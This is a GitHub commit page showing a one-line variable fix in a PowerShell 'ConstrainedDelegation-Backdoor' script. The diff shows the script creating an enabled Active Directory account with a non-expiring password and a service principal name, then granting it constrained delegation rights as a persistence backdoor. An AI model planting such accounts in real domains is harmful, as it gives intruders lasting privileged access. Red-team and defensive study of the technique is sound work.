Skip to content

Commit

Permalink
Bug Fix in ConstrainedDelegation-Backdoor
Browse files Browse the repository at this point in the history
  • Loading branch information
Dliv3 authored Nov 12, 2018
1 parent 421057e commit e8607d1
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion Backdoors/ConstrainedDelegation-Backdoor.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -101,7 +101,7 @@ https://labs.mwrinfosecurity.com/blog/trust-years-to-earn-seconds-to-break/
$user = Get-ADUser $SamAccountName -Properties "msDS-AllowedToDelegateTo"
Write-Host "SamAccountName '$SamAccountName' already exists. Add 'msDS-AllowedToDelegateTo $AllowedToDelegateTo' to '$SamAccountName'."
} Catch [Microsoft.ActiveDirectory.Management.ADIdentityNotFoundException] {
New-ADUser -Name "$Name" -SamAccountName $SamAccountName -UserPrincipalName $UserPrincipalName -ServicePrincipalNames "$SPN" -AccountPassword (convertto-securestring "$Password" -asplaintext -force) -PasswordNeverExpires $True -PassThru | Enable-ADAccount
New-ADUser -Name "$Name" -SamAccountName $SamAccountName -UserPrincipalName $UserPrincipalName -ServicePrincipalNames "$ServicePrincipalName" -AccountPassword (convertto-securestring "$Password" -asplaintext -force) -PasswordNeverExpires $True -PassThru | Enable-ADAccount
$user = Get-ADUser $SamAccountName -Properties "msDS-AllowedToDelegateTo"
}
Set-ADObject $user -Add @{ "msDS-AllowedToDelegateTo" = @( "$AllowedToDelegateTo" ) }
Expand Down

0 comments on commit e8607d1

Please sign in to comment.